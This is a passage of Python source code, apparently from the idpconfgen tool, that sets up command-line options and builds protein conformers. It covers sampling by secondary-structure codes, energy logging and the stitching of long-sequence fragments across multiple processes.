)\n\n\n#########################################\nlibcli.add_argument_dloopoff(ap)\nlibcli.add_argument_dhelix(ap)\nlibcli.add_argument_dstrand(ap)\nlibcli.add_argument_dany(ap)\nlibcli.add_argument_duser(ap)\n#########################################\n\nap.add_argument(\n '-csss',\n '--custom-sampling',\n help=(\n 'Input .JSON file for probabilistic CSSS. '\n 'Will use DSSP codes in this .JSON instead of --dhelix, --dstrand, '\n '--dany. Requires --dloop-off. CSSS.JSON file is as created by the '\n '`idpconfgen csssconv` or `idpconfgen makecsss` command.'\n ),\n default=None,\n )\n\nap.add_argument(\n '-dsd',\n '--disable-sidechains',\n help='Whether or not to compute sidechains. Defaults to True.',\n action='store_true',\n )\n\n_ffchoice = list(forcefields.keys())\nFFDEFAULT = _ffchoice[0]\nap.add_argument(\n '-ff',\n '--forcefield',\n help=(\n 'Forcefield parameters and atom labels. '\n f'Defaults to {_ffchoice[0]}.'\n ),\n choices=_ffchoice,\n default=FFDEFAULT,\n )\n\n\nadd_bgeo_strategy_arg(ap)\n\nap.add_argument(\n '-etbb',\n '--energy-threshold-backbone',\n help=(\n 'The energy threshold above which fragments will be rejected '\n 'when building the BACKBONE atoms. Defaults to 100 kJ.'\n ),\n default=100.0,\n type=float,\n )\n\nap.add_argument(\n '-etss',\n '--energy-threshold-sidechains',\n help=(\n 'The energy threshold above which conformers will be rejected '\n 'after packing the sidechains (ignored if `-dsd`). '\n 'Defaults to 250 kJ.'\n ),\n default=250.0,\n type=float,\n )\n\nadd_et_type_arg(ap)\nadd_xmer_arg(ap)\nadd_res_tolerance_groups(ap)\n\nap.add_argument(\n '-el',\n '--energy-log',\n help='File where to save the energy value of each conformer.',\n type=Path,\n default='energies.log',\n )\n\n\nadd_sidechain_method(ap)\nadd_mcsce_subparser(ap)\nlibcli.add_argument_output_folder(ap)\nlibcli.add_argument_random_seed(ap)\nlibcli.add_argument_ncores(ap)\n\n\nclass EnergyLogSaver:\n \"\"\"\n Save conformer energies to a log file.\n\n This object is intended to be used by the client only.\n It can accommodate calls from different processors, but it is not\n sent to the different processors, it is managed by the main()\n function.\n \"\"\"\n\n def start(self, path):\n \"\"\"Open file for writing.\"\"\"\n self.dest = open(path, 'w')\n\n def save(self, confname, energy):\n \"\"\"Save conformer name and energy to file.\"\"\"\n self.dest.write(f'{confname},{energy}\\n')\n self.dest.flush()\n\n def close(self):\n \"\"\"Close file.\"\"\"\n self.dest.close()\n\n\nENERGYLOGSAVER = EnergyLogSaver()\n\n\ndef parse_CSSS(path2csss):\n \"\"\"\n Prepare CSSS.JSON dictionary for the conformer building process.\n\n The secondary structure keys are identified.\n The probabilities for each residue are normalized to 1, that is:\n (1 2 2) results in (0.2 0.4 0.4).\n\n Parameters\n ----------\n path2csss : string\n Path to where the csss_[ID].json file is containing ss_regexes and\n their respective probabilities.\n\n Returns\n -------\n dict\n First key layer indicats residue number position, second key layer\n indicates the DSSP regex to search for and the values are the\n probabilities.\n\n set\n A set with all the different secondary structure keys identified in the\n CSSS.JSON file.\n \"\"\"\n # this function was originally done by @menoliu\n # @joaomcteixeira gave it a touch\n csss_dict = read_dict_from_json(path2csss)\n all_dssps = set()\n\n # we can use this implementation because dictionaries are sorted by default\n for _resid, dssps in csss_dict.items():\n probabilities = list(dssps.values())\n all_dssps.update(dssps.keys())\n prob_normalized = make_seq_probabilities(probabilities)\n for dssp_code, prob_n in zip(dssps.keys(), prob_normalized):\n dssps[dssp_code] = prob_n\n\n return csss_dict, all_dssps\n\n\ndef main(\n input_seq,\n database,\n custom_sampling,\n long=False,\n long_ranges=None,\n dloop_off=False,\n dstrand=False,\n dhelix=False,\n duser=False,\n dany=False,\n func=None,\n forcefield=FFDEFAULT,\n bgeo_strategy=bgeo_strategies_default,\n bgeo_path=None,\n residue_tolerance=None,\n nconfs=1,\n ncores=1,\n random_seed=0,\n xmer_probs=None,\n output_folder=None,\n energy_log='energies.log',\n sidechain_method=DEFAULT_SDM,\n **kwargs, # other kwargs target energy function, for example.\n ):\n \"\"\"\n Execute main client logic.\n\n Distributes over processors.\n \"\"\"\n # ensuring some parameters do not overlap\n dloop = not dloop_off\n any_def_loops = any((dloop, dhelix, dstrand))\n non_overlapping_parameters = (any_def_loops, dany, duser, bool(custom_sampling)) # noqa: E501\n _sum = sum(map(bool, non_overlapping_parameters))\n\n if _sum > 1:\n emsg = (\n 'Note (dloop, dstrand, dhelix), dany, duser, and '\n 'custom_sampling are mutually exclusive.'\n )\n raise ValueError(emsg)\n elif _sum < 1:\n raise ValueError(\"Give at least one sampling option.\")\n\n del _sum\n del non_overlapping_parameters\n # done\n\n output_folder = make_folder_or_cwd(output_folder)\n init_files(log, Path(output_folder, LOGFILESNAME))\n log.info(T('starting the building process'))\n # We only are interested in the first (one) sequence\n if type(input_seq) is dict:\n input_seq = list(input_seq.values())[0]\n log.info(S(f'input sequence: {input_seq}'))\n \n if len(input_seq) > 300:\n if long is False:\n log.info(\n \"TIP: if your IDP is longer than ~300 residues, consider \"\n \"enabling the `--long` flag for faster generation.\"\n )\n else:\n global LONG_FRAGMENTS\n if long_ranges:\n range_regex = re.compile(r\"\\d+-\\d+,\")\n if range_regex.match(long_ranges):\n ranges = long_ranges.split(',')\n ranges.pop() # last element should be empty\n idx_ranges = []\n for r in ranges:\n parts = r.split(\"-\")\n if len(parts) >= 2:\n idx_ranges.append(int(parts[1]))\n long_fragments = split_by_ranges(input_seq, idx_ranges)\n else:\n log.info(S('Incorrect pattern input. Resorting to default.')) # noqa: E501\n log.info(S('Sample pattern is as follows: 1-89,90-191,'))\n else:\n long_fragments = split_into_chunks(input_seq)\n \n for i in range(len(long_fragments) - 1):\n j = i + 1\n # Add overlapping residues to subsequent fragments\n long_fragments[j] = long_fragments[i][-2:] + long_fragments[j]\n \n LONG_FRAGMENTS = long_fragments\n else:\n long = False\n long_ranges = None\n \n # Calculates how many conformers are built per core\n if nconfs < ncores:\n ncores = 1\n conformers_per_core = nconfs\n remaining_confs = 0\n else:\n conformers_per_core = nconfs // ncores\n # in case nconfs is not multiple of ncores, builds the remaining confs\n # at the end\n remaining_confs = nconfs % ncores\n\n log.info(\n f'running in {ncores} cores with '\n f'{remaining_confs} remaining confs'\n )\n\n # we use a dictionary because fragments will be evaluated to exact match\n global ANGLES, BEND_ANGS, BOND_LENS, SLICEDICT_XMERS, XMERPROBS, GET_ADJ\n \n xmer_probs_tmp = prepare_xmer_probs(xmer_probs)\n\n # set up the information from CSSS.JSON files\n csss_dict = False\n csss_dssp_regexes = None\n\n all_valid_ss_codes = ''.join(dssp_ss_keys.valid)\n\n # There are four possibilities of sampling:\n # 1) Sampling loops and/or helix and/or strands, where the found fragments\n # are all of the same secondary structure\n # 2) sample \"any\". Disregards any secondary structure annotated\n # 3) custom sample given by the user\n # 4) advanced sampling\n #\n # The following if/else block creates the needed variables according to each\n # scenario.\n\n if dany:\n # will sample the database disregarding the SS annotation\n dssp_regexes = [all_valid_ss_codes]\n\n elif custom_sampling:\n csss_dict, csss_dssp_regexes = parse_CSSS(custom_sampling)\n\n # If the user wants to sample \"any\" for some residues\n # users can have \"X\" in the CSSS.JSON but that will be converted\n # internally below\n if \"X\" in csss_dssp_regexes:\n csss_dssp_regexes.remove(\"X\")\n csss_dssp_regexes.add(all_valid_ss_codes)\n for _k, _v in csss_dict.items():\n # X means any SS.\n if \"X\" in _v:\n _v[all_valid_ss_codes] = _v.pop(\"X\")\n\n dssp_regexes = list(csss_dssp_regexes)\n\n elif any((dloop, dhelix, dstrand)):\n dssp_regexes = []\n if dloop:\n dssp_regexes.append(\"L\")\n if dhelix:\n dssp_regexes.append(\"H\")\n if dstrand:\n dssp_regexes.append(\"E\")\n\n elif duser:\n # this is a very advanced option,\n # users should know what they are doing :-)\n dssp_regexes = duser\n\n else:\n raise AssertionError(\"One option is missing. Code shouldn't be here.\")\n\n assert isinstance(dssp_regexes, list), \\\n f\"`dssp_regexes` should be a list at this point: {type(dssp_regexes)}\"\n\n db = read_dictionary_from_disk(database)\n\n if bgeo_strategy == bgeo_exact_name:\n try:\n _, ANGLES, BEND_ANGS, BOND_LENS, secondary, primary = aligndb(db, True) # noqa: E501\n except KeyError:\n log.info(S('!!!!!!!!!!!!!!!'))\n log.info(S(\n 'DATABASE ERROR: '\n 'the `database` requested is invalid. Please give the database '\n 'generated with `bgeodb`. See the usage documentation for '\n 'details while using `--bgeo-strategy exact`.'\n ))\n return\n\n else:\n _, ANGLES, secondary, primary = aligndb(db)\n\n del db\n\n if residue_tolerance is not None:\n _restol = str(residue_tolerance)[1:-1]\n log.info(S(f\"Building with residue tolerances: {_restol}\"))\n \n # create different random seeds for the different cores\n # seeds created to the cores based on main seed are predictable\n for i in range(ncores + bool(remaining_confs)):\n RANDOMSEEDS.put(random_seed + i)\n \n # creates a queue of numbers that will serve all subprocesses.\n # Used to name the output files, conformer_1, conformer_2, ...\n for i in range(1, nconfs + 1):\n CONF_NUMBER.put(i)\n \n # get sidechain dedicated parameters\n sidechain_parameters = \\\n get_sidechain_packing_parameters(kwargs, sidechain_method)\n \n if long:\n csss_multi_dict = [] # list of csss_dict for each frag\n if custom_sampling:\n counter = 1\n for seq in LONG_FRAGMENTS:\n temp_csss = {}\n for res, _ in enumerate(seq):\n temp_csss[str(res + 1)] = csss_dict[str(counter)]\n counter += 1\n counter -= 2\n csss_multi_dict.append(temp_csss)\n assert len(temp_csss) == len(seq)\n else:\n for _ in LONG_FRAGMENTS:\n csss_multi_dict.append(False)\n \n for idx, seq in enumerate(LONG_FRAGMENTS):\n log.info(S(f\"Preparing database for sequence: {seq}\"))\n SLICEDICT_XMERS = prepare_slice_dict(\n primary,\n seq,\n csss=bool(csss_multi_dict[idx]),\n dssp_regexes=dssp_regexes,\n secondary=secondary,\n mers_size=xmer_probs_tmp.sizes,\n res_tolerance=residue_tolerance,\n ncores=ncores,\n )\n remove_empty_keys(SLICEDICT_XMERS)\n # updates user defined fragment sizes and probabilities to the\n # ones actually observed\n _ = compress_xmer_to_key(xmer_probs_tmp, sorted(SLICEDICT_XMERS.keys())) # noqa: E501\n XMERPROBS = _.probs\n \n GET_ADJ = get_adjacent_angles(\n sorted(SLICEDICT_XMERS.keys()),\n XMERPROBS,\n seq,\n ANGLES,\n bgeo_strategy,\n SLICEDICT_XMERS,\n csss=csss_multi_dict[idx],\n residue_tolerance=residue_tolerance,\n )\n \n log.info(S(\"done\"))\n \n populate_globals(\n input_seq=seq,\n bgeo_strategy=bgeo_strategy,\n bgeo_path=bgeo_path,\n forcefield=forcefields[forcefield],\n **kwargs)\n \n ENERGYLOGSAVER.start(output_folder.joinpath(energy_log))\n \n # first run, need to generate chains first\n if seq == LONG_FRAGMENTS[0]:\n # prepars execution function\n consume = partial(\n _build_conformers,\n input_seq=seq, # string\n output_folder=output_folder,\n nconfs=conformers_per_core, # int\n sidechain_parameters=sidechain_parameters,\n sidechain_method=sidechain_method, # goes back to kwards\n bgeo_strategy=bgeo_strategy,\n **kwargs,\n )\n\n execute = partial(\n report_on_crash,\n consume,\n ROC_exception=Exception,\n ROC_folder=output_folder,\n ROC_prefix=_name,\n )\n start = time()\n else:\n consume = partial(\n _build_conformers,\n input_seq=seq, # string\n output_folder=output_folder,\n long=long,\n nconfs=conformers_per_core, # int\n sidechain_parameters=sidechain_parameters,\n sidechain_method=sidechain_method, # goes back to kwards\n bgeo_strategy=bgeo_strategy,\n **kwargs,\n )\n\n execute = partial(\n report_on_crash,\n consume,\n ROC_exception=Exception,\n ROC_folder=output_folder,\n ROC_prefix=_name,\n )\n\n with Pool(ncores) as pool:\n imap = pool.imap(execute, range(ncores))\n for _ in imap:\n pass\n \n if remaining_confs:\n execute(conformers_per_core * ncores, nconfs=remaining_confs)\n \n # reinitialize queues so reiteration doesn't crash\n for i in range(ncores + bool(remaining_confs)):\n RANDOMSEEDS.put(random_seed + i)\n for i in range(1, nconfs + 1):\n CONF_NUMBER.put(i)\n else:\n # these are the slices with which to sample the ANGLES array\n SLICEDICT_XMERS = prepare_slice_dict(\n primary,\n input_seq,\n csss=bool(csss_dict),\n dssp_regexes=dssp_regexes,\n secondary=secondary,\n mers_size=xmer_probs_tmp.sizes,\n res_tolerance=residue_tolerance,\n ncores=ncores,\n )\n\n remove_empty_keys(SLICEDICT_XMERS)\n # updates user defined fragment sizes and probabilities\n # to the ones actually observed\n _ = compress_xmer_to_key(xmer_probs_tmp, sorted(SLICEDICT_XMERS.keys())) # noqa: E501\n XMERPROBS = _.probs\n\n GET_ADJ = get_adjacent_angles(\n sorted(SLICEDICT_XMERS.keys()),\n XMERPROBS,\n input_seq,\n ANGLES,\n bgeo_strategy,\n SLICEDICT_XMERS,\n csss_dict,\n residue_tolerance=residue_tolerance,\n )\n\n populate_globals(\n input_seq=input_seq,\n bgeo_strategy=bgeo_strategy,\n bgeo_path=bgeo_path,\n forcefield=forcefields[forcefield],\n **kwargs)\n \n ENERGYLOGSAVER.start(output_folder.joinpath(energy_log))\n \n # prepars execution function\n consume = partial(\n _build_conformers,\n input_seq=input_seq, # string\n output_folder=output_folder,\n long=long,\n nconfs=conformers_per_core, # int\n sidechain_parameters=sidechain_parameters,\n sidechain_method=sidechain_method, # goes back to kwards\n bgeo_strategy=bgeo_strategy,\n **kwargs,\n )\n\n execute = partial(\n report_on_crash,\n consume,\n ROC_exception=Exception,\n ROC_folder=output_folder,\n ROC_prefix=_name,\n )\n\n start = time()\n with Pool(ncores) as pool:\n imap = pool.imap(execute, range(ncores))\n for _ in imap:\n pass\n \n if remaining_confs:\n execute(conformers_per_core * ncores, nconfs=remaining_confs)\n\n log.info(f'{nconfs} conformers built in {time() - start:.3f} seconds')\n ENERGYLOGSAVER.close()\n\n\ndef populate_globals(\n *,\n input_seq=None,\n bgeo_strategy=bgeo_strategies_default,\n bgeo_path=None,\n forcefield=None,\n **efunc_kwargs):\n \"\"\"\n Populate global variables needed for building.\n\n Currently, global variables include:\n\n BGEO_full\n BGEO_trimer\n BGEO_res\n ALL_ATOM_LABELS, ALL_ATOM_MASKS, ALL_ATOM_EFUNC\n TEMPLATE_LABELS, TEMPLATE_MASKS, TEMPLATE_EFUNC\n INT2CART\n\n Parameters\n ----------\n bgeo_strategy : str\n A key from the\n :py:data:`idpconfgen.components.bgeo_strategies.bgeo_strategies`.\n\n forcefield : str\n A key in the `core.build_definitions.forcefields` dictionary.\n \"\"\"\n if not isinstance(input_seq, str):\n raise ValueError(\n '`input_seq` not valid. '\n f'Expected string found {type(input_seq)}'\n )\n\n if bgeo_strategy not in bgeo_strategies:\n raise AssertionError(bgeo_error_msg.format(bgeo_strategy))\n\n if bgeo_strategy in (bgeo_sampling_name, bgeo_int2cart_name, bgeo_exact_name): # noqa: E501\n from idpconfgen.components.bgeo_strategies.sampling import bgeo_sampling_path # noqa: E501 # isort:skip\n\n if bgeo_path is None:\n bgeo_path = bgeo_sampling_path\n\n global BGEO_full, BGEO_trimer, BGEO_res\n BGEO_full.update(read_dictionary_from_disk(bgeo_sampling_path))\n _1, _2 = bgeo_reduce(BGEO_full)\n BGEO_trimer.update(_1)\n BGEO_res.update(_2)\n del _1, _2\n assert BGEO_full\n assert BGEO_trimer\n assert BGEO_res\n # this asserts only the first layer of keys\n assert list(BGEO_full.keys()) == list(BGEO_trimer.keys()) == list(BGEO_res.keys()) # noqa: E501\n\n # Also prepare BGEO_int2cart when needed\n if bgeo_strategy == bgeo_int2cart_name:\n global INT2CART\n from idpconfgen.components.bgeo_strategies.int2cart.bgeo_int2cart import BGEO_Int2Cart # noqa: E501 # isort:skip\n try:\n INT2CART = BGEO_Int2Cart()\n except RuntimeError as e:\n log.info(S(\n \"WARNING: please use CUDA compatible GPUs while running\"\n \"--bgeo_strategy int2cart.\"\n ))\n log.info(S(f\"Error: {e}\"))\n\n # populates the labels\n global ALL_ATOM_LABELS, ALL_ATOM_MASKS, ALL_ATOM_EFUNC\n global TEMPLATE_LABELS, TEMPLATE_MASKS, TEMPLATE_EFUNC\n\n topobj = forcefield(add_OXT=True, add_Nterminal_H=True)\n\n ALL_ATOM_LABELS = init_conflabels(input_seq, topobj.atom_names)\n TEMPLATE_LABELS = init_conflabels(remap_sequence(input_seq), topobj.atom_names) # noqa: E501\n\n ALL_ATOM_MASKS = init_confmasks(ALL_ATOM_LABELS.atom_labels)\n TEMPLATE_MASKS = init_confmasks(TEMPLATE_LABELS.atom_labels)\n\n ALL_ATOM_EFUNC = prepare_energy_function(\n ALL_ATOM_LABELS.atom_labels,\n ALL_ATOM_LABELS.res_nums,\n ALL_ATOM_LABELS.res_labels,\n topobj,\n **efunc_kwargs)\n\n TEMPLATE_EFUNC = prepare_energy_function(\n TEMPLATE_LABELS.atom_labels,\n TEMPLATE_LABELS.res_nums,\n TEMPLATE_LABELS.res_labels,\n topobj,\n **efunc_kwargs)\n\n del topobj\n return\n\n\n# private function because it depends on the global `CONF_NUMBER`\n# which is assembled in `main()`\ndef _build_conformers(\n *args,\n input_seq=None,\n conformer_name='conformer',\n output_folder=None,\n long=False,\n nconfs=1,\n sidechain_parameters=None,\n bgeo_strategy=bgeo_strategies_default,\n **kwargs,\n ):\n \"\"\"Arrange building of conformers and saves them to PDB files.\"\"\"\n ROUND = np.round\n \n # TODO: this has to be parametrized for the different HIS types\n input_seq_3_letters = translate_seq_to_3l(input_seq)\n \n builder = conformer_generator(\n input_seq=input_seq,\n random_seed=RANDOMSEEDS.get(),\n sidechain_parameters=sidechain_parameters,\n bgeo_strategy=bgeo_strategy,\n **kwargs)\n \n atom_labels, residue_numbers, residue_labels = next(builder)\n \n if long:\n for _ in range(nconfs):\n conf_number = CONF_NUMBER.get()\n prev_struc_name = f'{conformer_name}_{conf_number}.pdb'\n prev_struc = Structure(Path(output_folder, prev_struc_name))\n prev_struc.build()\n atom_names = prev_struc.data_array[:, col_name]\n prev_seq = prev_struc.data_array[:, col_resSeq].astype(int)\n last_seq = prev_seq[-1]\n \n terminal_idx = {}\n for j, _atom in enumerate(atom_names):\n k = len(atom_names) - 1 - j\n curr_seq = prev_seq[k]\n \n if curr_seq == last_seq and atom_names[k] == \"N\":\n terminal_idx[\"N\"] = k\n elif curr_seq == last_seq and atom_names[k] == \"CA\":\n terminal_idx[\"CA\"] = k\n elif curr_seq == last_seq - 1 and atom_names[k] == \"C\":\n terminal_idx[\"C\"] = k\n elif curr_seq == last_seq - 2:\n break\n \n stitch_Cxyz = prev_struc.data_array[terminal_idx[\"C\"]][cols_coords].astype(float).tolist() # noqa: E501\n stitch_Nxyz = prev_struc.data_array[terminal_idx[\"N\"]][cols_coords].astype(float).tolist() # noqa: E501\n stitch_CAxyz = prev_struc.data_array[terminal_idx[\"CA\"]][cols_coords].astype(float).tolist() # noqa: E501\n # Coordinates of boundary to stitch to later on\n stitch_coords = np.array([stitch_Cxyz, stitch_Nxyz, stitch_CAxyz])\n\n while 1:\n energy, coords = next(builder)\n\n pdb_string = gen_PDB_from_conformer(\n input_seq_3_letters,\n atom_labels,\n residue_numbers,\n ROUND(coords, decimals=3),\n )\n pdb_arr = parse_pdb_to_array(pdb_string)\n rotated = align_coords(pdb_arr, stitch_coords, disorder_cases[2]) # noqa: E501\n clashes, fragment = count_clashes(\n rotated,\n prev_struc,\n case=disorder_cases[2],\n max_clash=40,\n tolerance=0.4,\n )\n\n if type(clashes) is int:\n success_frag = structure_to_pdb(fragment)\n fname_temp = f'{conformer_name}_{conf_number}_frag.pdb'\n with open(Path(output_folder, fname_temp), 'w') as fout:\n for line in success_frag:\n fout.write(line + \"\\n\")\n final = psurgeon(\n {\"A\": [Path(output_folder, fname_temp)]},\n Path(output_folder, prev_struc_name),\n {\"A\": [disorder_cases[2]]},\n {\"A\": [(0, 0)]}, # placeholder\n )\n final_struc = structure_to_pdb(final)\n os.remove(Path(output_folder, fname_temp))\n os.remove(Path(output_folder, prev_struc_name))\n with open(Path(output_folder, prev_struc_name), 'w') as fout: # noqa: E501\n for line in final_struc:\n fout.write(line + \"\\n\")\n ENERGYLOGSAVER.save(prev_struc_name, energy)\n break\n else:\n for _ in range(nconfs):\n energy, coords = next(builder)\n\n pdb_string = gen_PDB_from_conformer(\n input_seq_3_letters,\n atom_labels,\n residue_numbers,\n ROUND(coords, decimals=3),\n )\n\n fname = f'{conformer_name}_{CONF_NUMBER.get()}.pdb'\n\n with open(Path(output_folder, fname), 'w') as fout:\n fout.write(pdb_string)\n\n ENERGYLOGSAVER.save(fname, energy)\n\n del builder\n return\n\n\n# the name of this function is likely to change in the future\ndef conformer_generator(\n *,\n input_seq=None,\n generative_function=None,\n disable_sidechains=True,\n sidechain_method='faspr',\n energy_threshold_backbone=10,\n energy_threshold_sidechains=1000,\n bgeo_strategy=bgeo_strategies_default,\n bgeo_path=None,\n forcefield=None,\n random_seed=0,\n sidechain_parameters=None,\n **energy_funcs_kwargs,\n ):\n \"\"\"\n Build conformers.\n\n `conformer_generator` is actually a Python generator. Examples on\n how it works:\n\n Note that all arguments are **named** arguments.\n\n >>> builder = conformer_generator(\n >>> input_seq='MGAETTWSCAAA' # the primary sequence of the protein\n >>> )\n\n `conformer_generator` is a generator, you can instantiate it simply\n providing the residue sequence of your protein of interest.\n\n The **very first** iteration will return the labels of the protein\n being built. Labels are sorted by all atom models. Likewise,\n `residue_number` and `residue_labels` sample **all atoms**. These\n three are numpy arrays and can be used to index the actual coordinates.\n\n >>> atom_labels, residue_numbers, residue_labels = next(builder)\n\n After this point, each iteraction `next(builder)` yields the coordinates\n for a new conformer. There is no limit in the generator.\n\n >>> new_coords = next(builder)\n\n `new_coords` is a (N, 3) np.float64 array where N is the number of\n atoms. As expected, atom coordinates are aligned with the labels\n previously generated.\n\n When no longer needed,\n\n >>> del builder\n\n Should delete the builder generator.\n\n You can gather the coordinates of several conformers in a single\n multi dimensional array with the following:\n\n >>> builder = conformer_generator(\n >>> input_seq='MGGGGG...',\n >>> generative_function=your_function)\n >>>\n >>> atoms, res3letter, resnums = next(builder)\n >>>\n >>> num_of_conformers = 10_000\n >>> shape = (num_of_conformers, len(atoms), 3)\n >>> all_coords = np.empty(shape, dtype=float64)\n >>>\n >>> for i in range(num_of_conformers):\n >>> all_coords[i, :, :] = next(builder)\n >>>\n\n Parameters\n ----------\n input_seq : str, mandatory\n The primary sequence of the protein being built in FASTA format.\n `input_seq` will be used to generate the whole conformers' and\n labels arrangement.\n Example: \"MAGERDDAPL\".\n\n generative_function : callable, optional\n The generative function used by the builder to retrieve torsion\n angles during the building process.\n\n The builder expects this function to receive two parameters:\n - `nres`, the residue fragment size to get angles from\n - `cres`, the next residue being built. For example,\n with cres=10, the builder will expect a minimum of three\n torsion angles (phi, psi, omega) for residue 10.\n\n Depending on the nature of the `generative function` the two\n pameters may be ignored by the function itself (use **kwargs\n for that purpose).\n\n If `None` provided, the builder will use the internal `SLIDES`\n and `ANGLES` variables and will assume the `cli_build.main` was\n executed priorly, or that ANGLES and SLICES were populated\n properly.\n\n disable_sidechains : bool\n Disables sidechain creation. Defaults to `False`, computes\n sidechains.\n\n nconfs : int\n The number of conformers to build.\n\n sidechain_method : str\n The method used to build/pack sidechains over the backbone\n structure. Defaults to `faspr`.\n Expects a key in\n `components.sidechain_packing.sidechain_packing_methods`.\n\n bgeo_strategy : str\n The strategy used to generate the bond geometries. Available options\n are: :py:data:`idpconfgen.components.bgeo_strategies.bgeo_strategies`.\n\n bgeo_path : str of Path\n Path to a bond geometry library as created by `bgeo` CLI.\n\n Yields\n ------\n First yield: tuple (np.ndarray, np.ndarray, np.ndarray)\n The conformer label arrays.\n\n Other yields: tuple (float, np.ndarray)\n Energy of the conformer, conformer coordinates.\n \"\"\"\n if not isinstance(input_seq, str):\n raise ValueError(f'`input_seq` must be given! {input_seq}')\n if sidechain_method not in sidechain_packing_methods:\n raise ValueError(\n f'{sidechain_method} not in `sidechain_packing_methods`. '\n f'Expected {list(sidechain_packing_methods.keys())}.'\n )\n\n log.info(f'random seed: {random_seed}')\n np.random.seed(random_seed)\n seed_report = pre_msg(f'seed {random_seed}', sep=' - ')\n\n # prepares protein sequences\n all_atom_input_seq = input_seq\n template_input_seq = remap_sequence(all_atom_input_seq)\n template_seq_3l = translate_seq_to_3l(template_input_seq)\n\n ANY = np.any\n BUILD_BEND_H_N_C = build_bend_H_N_C\n CALC_TORSION_ANGLES = calc_torsion_angles\n DISTANCE_NH = distance_H_N\n DISTANCE_C_O = distance_C_O\n ISNAN = np.isnan\n GET_TRIMER_SEQ = get_trimer_seq_njit\n MAKE_COORD_Q_COO_LOCAL = make_coord_Q_COO\n MAKE_COORD_Q_PLANAR = make_coord_Q_planar\n MAKE_COORD_Q_LOCAL = make_coord_Q\n NAN = np.nan\n NORM = np.linalg.norm\n # the N terminal Hs are three for all atoms but only two for Proline\n # depending whether the first residue is a Proline, we use one template\n # or another.\n N_TERMINAL_H = n_proline_h_coord_at_origin if input_seq[0] == \"P\" else n_terminal_h_coords_at_origin # noqa: E501\n PI2 = np.pi * 2\n PLACE_SIDECHAIN_TEMPLATE = place_sidechain_template\n RAD_60 = np.radians(60)\n RC = np.random.choice\n RINT = randint\n ROT_COORDINATES = rotate_coordinates_Q_njit\n RRD10 = rrd10_njit\n SIDECHAIN_TEMPLATES = sidechain_templates\n SUM = np.nansum\n global BGEO_full\n global BGEO_trimer\n global BGEO_res\n global ALL_ATOM_LABELS\n global ALL_ATOM_MASKS\n global ALL_ATOM_EFUNC\n global TEMPLATE_LABELS\n global TEMPLATE_MASKS\n global TEMPLATE_EFUNC\n global XMERPROBS\n global SLICEDICT_MONOMERS\n global SLICEDICT_XMERS\n global GET_ADJ\n\n del input_seq\n\n # these flags exist to populate the global variables in case they were not\n # populated yet. Global variables are populated through the main() function\n # if the script runs as CLI. Otherwise, if conformer_generator() is imported\n # and used directly, the global variables need to be configured here.\n if not are_globals(bgeo_strategy):\n if forcefield not in forcefields:\n raise ValueError(\n f'{forcefield} not in `forcefields`. '\n f'Expected {list(forcefields.keys())}.'\n )\n populate_globals(\n input_seq=all_atom_input_seq,\n bgeo_strategy=bgeo_strategy,\n bgeo_path=bgeo_path,\n forcefield=forcefields[forcefield],\n **energy_funcs_kwargs,\n )\n\n # semantic exchange for speed al readibility\n with_sidechains = not disable_sidechains\n\n if with_sidechains:\n log.info(S(f\"configuring sidechain method: {sidechain_method}\"))\n # we use named arguments here to allow ignored non needed parameters\n # with **kwargs\n build_sidechains = sidechain_packing_methods[sidechain_method](\n input_seq=all_atom_input_seq,\n template_masks=TEMPLATE_MASKS,\n all_atom_masks=ALL_ATOM_MASKS,\n user_parameters=sidechain_parameters,\n )\n\n # tests generative function complies with implementation requirements\n if generative_function:\n try:\n generative_function(nres=1, cres=0)\n except Exception as err: # this is generic Exception on purpose\n errmsg = (\n 'The `generative_function` provided is not compatible with '\n 'the building process. Please read `build_conformers` docstring'\n ' for more details.'\n )\n raise IDPConfGenException(errmsg) from err\n\n # yields atom labels\n # all conformers generated will share these labels\n yield (\n ALL_ATOM_LABELS.atom_labels,\n ALL_ATOM_LABELS.res_nums,\n ALL_ATOM_LABELS.res_labels,\n )\n all_atom_num_atoms = len(ALL_ATOM_LABELS.atom_labels)\n template_num_atoms = len(TEMPLATE_LABELS.atom_labels)\n\n all_atom_coords = np.full((all_atom_num_atoms, 3), NAN, dtype=np.float64)\n template_coords = np.full((template_num_atoms, 3), NAN, dtype=np.float64)\n\n # +2 because of the dummy coordinates required to start building.\n # see later adding dummy coordinates to the structure seed\n bb = np.full((TEMPLATE_MASKS.bb3.size + 2, 3), NAN, dtype=np.float64)\n bb_real = bb[2:, :] # backbone coordinates without the dummies\n\n # coordinates for the carbonyl oxygen atoms\n bb_CO = np.full((TEMPLATE_MASKS.COs.size, 3), NAN, dtype=np.float64)\n\n # notice that NHydrogen_mask does not see Prolines\n bb_NH = np.full((TEMPLATE_MASKS.NHs.size, 3), NAN, dtype=np.float64)\n bb_NH_idx = np.arange(len(bb_NH))\n # Creates masks and indexes for the `for` loop used to place NHs.\n # The first residue has no NH, prolines have no NH.\n non_pro = np.array(list(template_input_seq)[1:]) != 'P'\n # NHs index numbers in bb_real\n bb_NH_nums = np.arange(3, (len(template_input_seq) - 1) * 3 + 1, 3)[non_pro]\n bb_NH_nums_p1 = bb_NH_nums + 1\n assert bb_NH.shape[0] == bb_NH_nums.size == bb_NH_idx.size\n\n # sidechain masks\n # this is sidechain agnostic, works for every sidechain, yet here we\n # use only ALA, PRO, GLY - Mon Feb 15 17:29:20 2021\n ss_masks = create_sidechains_masks_per_residue(\n TEMPLATE_LABELS.res_nums,\n TEMPLATE_LABELS.atom_labels,\n backbone_atoms,\n )\n # ?\n\n # /\n # creates seed coordinates:\n # because the first torsion angle of a residue is the omega, we need\n # to prepare 2 dummy atoms to simulate the residue -1, so that the\n # first omega can be placed. There is no need to setup specific\n # positions, just to create a place upon which the build atom\n # routine can create a new atom from a torsion.\n dummy_CA_m1_coord = np.array((0.0, 1.0, 1.0))\n dummy_C_m1_coord = np.array((0.0, 1.0, 0.0))\n n_terminal_N_coord = np.array((0.0, 0.0, 0.0))\n\n # seed coordinates array\n seed_coords = np.array((\n dummy_CA_m1_coord,\n dummy_C_m1_coord,\n n_terminal_N_coord,\n ))\n # ?\n\n # /\n # prepares method binding\n bbi0_register = []\n bbi0_R_APPEND = bbi0_register.append\n bbi0_R_POP = bbi0_register.pop\n bbi0_R_CLEAR = bbi0_register.clear\n\n COi0_register = []\n COi0_R_APPEND = COi0_register.append\n COi0_R_POP = COi0_register.pop\n COi0_R_CLEAR = COi0_register.clear\n\n res_R = [] # residue number register\n res_R_APPEND = res_R.append\n res_R_POP = res_R.pop\n res_R_CLEAR = res_R.clear\n # ?\n\n # /\n # required inits\n broke_on_start_attempt = False\n start_attempts = 0\n 